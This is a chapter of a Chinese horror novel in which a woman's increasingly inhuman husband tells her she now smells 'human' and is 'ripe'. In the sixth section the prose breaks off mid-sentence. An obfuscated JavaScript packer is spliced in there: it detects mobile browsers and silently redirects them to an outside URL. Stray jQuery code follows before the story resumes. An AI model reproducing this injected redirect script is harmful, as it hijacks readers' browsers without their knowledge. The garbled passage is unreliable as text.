第八章你身上有味道了
一
那天晚上，王志强又出去了。
陈默躺在床上，听见他在客厅里打电话。
“行，我马上到。嗯，老地方。”
然后是钥匙的声音，开门的声音，关门的声音。
脚步声在走廊里越来越远，然后消失了。
陈默睁开眼，盯着天花板。
九点四十。
周六的晚上，他出去了。
她没问去哪儿，没问和谁，没问几点回来。
三年了，她早就不问了。
问了他也不会说，说了也是假的，假的听了还不如不问。
她翻了个身，把脸埋进枕头里。
枕头上有股味道——不是她的，是他的。那种油油的、腻腻的味道，这几天越来越明显了。以前他身上什么都没有，现在有了，而且一天比一天重。
她不知道这是好事还是坏事。
有味道，说明他像个人了。
但那个味道不对。
不是汗味，不是烟味，不是酒味。
是别的。
像什么东西，放久了，开始从里面往外烂。
她把脸埋得更深，想躲开那个味道。
但躲不开。
到处都是。
二
陈默不知道自己什么时候睡着的。
再睁开眼的时候，天已经亮了。
周日早上，阳光从窗帘缝里漏进来，在地上切出一条亮线。
她躺在床上，盯着那条亮线，听客厅里的动静。
没有声音。
他还没回来。
她坐起来，下床，走出卧室。
客厅空的。茶几上放着他昨晚扔下的钥匙和打火机。沙发垫上有个印子，很浅，是昨天下午他躺过的。
她站在客厅中央，看着那个印子。
然后她闻到那个味道了。
不是从他身上发出来的，是从沙发上发出来的。从那块印子里发出来的。像有什么东西渗进去了，渗进沙发垫里，从里面往外散发。
她走过去，蹲下来，凑近闻了闻。
是那个味道。
油油的，腻腻的，带点甜，又带点酸。
像肉放坏了的那种甜酸。
她站起来，退后一步。
然后她走进卫生间，打开花洒，开始洗澡。
水很热，冲在身上有点疼。她站在水底下，闭着眼，一动不动。
洗了很久。
出来的时候，手机上有一条微信。
王志强发的：
“晚上回去。”
她盯着那四个字，盯了很久。
晚上回去。
现在才早上八点。
他说的晚上，是几点？八点？十点？十二点？还是凌晨？
她不知道。
她把手机放下，擦干头发，换了身衣服，出门。
三
周日街上人很多。
陈默漫无目的地走着，不知道要去哪儿。
她走过便利店，走过水果店，走过房产中介，走过奶茶店。奶茶店门口排着长队，都是年轻女孩，说说笑笑的。
她站在旁边看了一会儿。
那些女孩都很年轻，二十出头，脸上满满的都是胶原蛋白。她们穿着短裙，露着腿，扎着马尾，笑得很大声。
陈默低头看了看自己。
淡蓝色连衣裙，白色鞋子，头发盘着，妆化着。
她站在那群女孩旁边，像两个世界的人。
她转身走了。
走了一会儿，她发现自己站在一个小区门口。
是妈妈住的那个小区。
她已经有半年没回来了。
上次回来，是过年的时候。她一个人回来的，王志强没来。妈妈开门看见她，脸上什么表情都没有，就侧身让她进来。
吃饭的时候，谁都没说话。
她爸想说什么，被她妈瞪了一眼，就不说了。
吃完饭她帮忙洗碗，她妈站在厨房门口，看着她。
“他还那样？”
陈默没说话。
“陈默，你还要这样到什么时候？”
陈默把碗放进碗架，擦干手，拿起包。
“妈，我先走了。”
她妈没拦她。
走出门的时候，她听见身后传来一声叹息。
就一声。
她没回头。
现在她站在小区门口，看着那扇熟悉的铁门。
铁门开着，里面有人在遛狗，有小孩在跑，有老人在下棋。
她站了很久。
然后她转身走了。
四
下午三点多，陈默回到家。
开门的时候，她愣了一下。
王志强回来了。
他躺在沙发上，拿着手机在看。电视开着，放什么综艺节目，罐头笑声一阵一阵的。
陈默站在门口，看着他。
他抬头看了她一眼。
“去哪儿了？”
“随便走走。”
他“嗯”了一声，继续看手机。
陈默换鞋，放下包，走进卧室。
躺下。
盯着天花板。
外面电视的声音隐隐约约传进来，笑声，掌声，音乐声。
她躺在那儿，一动不动。
不知道过了多久，王志强进来了。
他走到床边，坐下。床垫陷下去一块，她的身体跟着歪了一下。
“陈默。”
她没动。
“陈默。”
她转过头看他。
他看着她，表情有点奇怪。
“怎么了？”她问。
他没说话，就看着她。
看了很久。
然后他说：“你身上有味道了。”
陈默愣了一下。
“什么？”
“你身上，有味道了。”
她低头闻了闻自己。
刚洗过澡，换了干净衣服，什么味道都没有。
“什么味道？”她问。
王志强没回答。
他站起来，走出卧室。
陈默躺着，盯着天花板。
她身上有味道了？
什么味道？
她不知道。
但她想起一件事——
他从来不洗澡。
他从来闻不到自己身上的味道。
但他现在能闻到她身上的味道了？
她坐起来，走出卧室。
王志强坐在沙发上，继续看电视。
她站在他面前。
“王志强。”
他抬头。
“我身上有什么味道？”
他看着她，没说话。
“你说清楚，什么味道？”
他笑了一下。
那笑容很短，就一下。
“没什么，可能我闻错了。”
他把目光移回电视上。
陈默站着，看着他。
电视里的笑声一阵一阵的，很吵。
她站了很久。
然后她转身走进卧室，关上门。
五
晚上八点多，陈默做了饭。
简单的两菜一汤，端上桌的时候，王志强已经坐在那儿了。
他夹了一筷子菜，放进嘴里，嚼了嚼。
“还行。”
陈默坐下，开始吃饭。
两个人都不说话。
只有筷子碰碗的声音，和电视里的声音。
吃到一半，王志强的手机响了。
他看了一眼，接起来。
“喂？”
那边说了什么。
“现在？”
那边又说了什么。
他看了陈默一眼。
“行，我一会儿过去。”
挂了。
陈默低着头，继续吃饭。
王志强放下手机，看着她。
“我出去一趟。”
陈默点点头。
“嗯。”
他站起来，拿起外套，往外走。
走到门口，他回头看了她一眼。
“碗放着，等我回来洗。”
门关上了。
陈默一个人坐在饭桌前，看着那两菜一汤。
菜还冒着热气，汤还烫着。
她夹了一筷子，放进嘴里。
什么味道都没有。
她嚼着，咽下去，又夹了一筷子。
还是什么味道都没有。
她放下筷子，靠在椅背上。
客厅里只有电视的声音，和一些窗外的车声。
她坐了很久。
然后她站起来，把碗收了，洗了，放好。
走进卧室，躺下。
盯着天花板。
六
凌晨两点多，陈默醒了。
她不知道自己怎么睡着的，也不知道睡了多久。
睁开眼的时候，卧室里一片漆黑。窗帘拉得严严实实，一点光都透不进来。
她躺着，听周围的动静。
很安静。
太安静了。
平时这个时候，总能听见一点声音——楼上的脚步声，隔壁的电视声，窗外的车声。
但现在什么都没有。
像整个世界都被按了静音键。
她慢慢坐起来，看向门口。
门关着。
但她记得，她睡觉的时候，门是开了一条缝的。
现在关上了。
她下床，光着脚走到门边，握住门把手。
门把手是凉的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387620|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>很凉。
像刚从冰箱里拿出来的铁。
她深吸一口气，轻轻推开门。
客厅里亮着灯。
王志强坐在沙发上，背对着她。
他坐着，一动不动。
陈默站在门口，看着他。
那个背影，她看了三年。但现在看着，突然觉得陌生。
太安静了。
他坐着，一动不动，连呼吸都听不见。
她往前走了一步。
他没动。
又走了一步。
还是没动。
她走到沙发后面，站在那儿，看着他的后背。
他穿着那件衬衫，就是白天那件。背上很皱，光线暗，看不清有没有汗渍。
她张了张嘴。
“王志强。”
他没动。
“王志强。”
他还是没动。
陈默绕到沙发前面，看着他。
他睁着眼。
睁得很大。
盯着前方，不知道在看什么。
陈默往后退了一步。
他慢慢转过头，看着她。
那两只眼睛——
在发光。
不是反光，是发光。像猫，像狗，像什么夜里会发光的动物。
她见过这种光。
第一次是她数完三十秒开门的那天晚上。
第二次是那天晚上他说“明天有个哥们来”的时候。
现在是第三次。
“王志强？”她的声音在发抖。
他看着她，没说话。
那两只发光的眼睛，就那么盯着她。
然后他开口了。
“陈默。”
他的声音和平时不一样。更沉，更闷，像从很深的地方传上来。
“你身上有味道了。”
陈默愣住了。
又是这句话。
“什么味道？”她问。
他没回答。
他站起来。
站起来的时候，她看见沙发垫上那个印子——那个印子，比她见过的任何时候都深。像一个完整的身体陷进去，陷进沙发里，陷了很久很久。
他往前走了一步。
陈默往后退了一步。
他又走了一步。
她又退了一步。
她退到墙边，退不动了。
他站在她面前，低头看着她。
那两只发光的眼睛，离她很近。
“你身上，”他说，“有人味了。”
陈默攥紧手指。
人味。
她说不出话。
他看着她，那两只眼睛一眨不眨。
“以前你没有。”
以前她没有。
三年了，她都没有。
现在有了。
“你知道这意味着什么吗？”他问。
陈默摇头。
他笑了。
那笑容和平时不一样——不是生气，不是嘲讽，是别的。
是一种……满意。
“意味着你熟了。”
熟了。
她突然想起那张纸条。
那张纸条不是来救她的。
是来告诉她，她已经熟了。
她站那儿，一动不动。
他低头看着她，那两只眼睛的光，把她整个人都照在里面。
“别怕，”他说，“还早。”
他转身走回沙发，坐下。
那两只眼睛的光暗下去，恢复正常。
陈默靠在墙上，大口喘气。
她低头看自己的手。
手在抖。
她攥紧拳头，想让它不抖。
但还是在抖。
七
那一夜，陈默没睡。
她靠在墙上，看着沙发上的那个背影，一直看到天亮。
天亮的时候，王志强站起来，走进卧室，躺下。
陈默站在客厅里，看着那扇关上的门。
站了很久。
然后她走进卫生间，打开花洒。
热水冲下来的时候，她站在水底下，一动不动。
她抬起手，闻了闻自己的胳膊。
什么味道都没有。
但他说有。
他说有人味了。
她不知道这是真的，还是他故意说的。
但她想起一件事——
那张纸条上写的，是“真正的他，从不洗澡”。
没写她。
她一直都是洗澡的。
每天都洗。
但他说以前她没有味道，现在有了。
那以前她是什么味道？
她不知道。
她只知道，从今天开始，她再也不敢闭眼了。
---
第八章完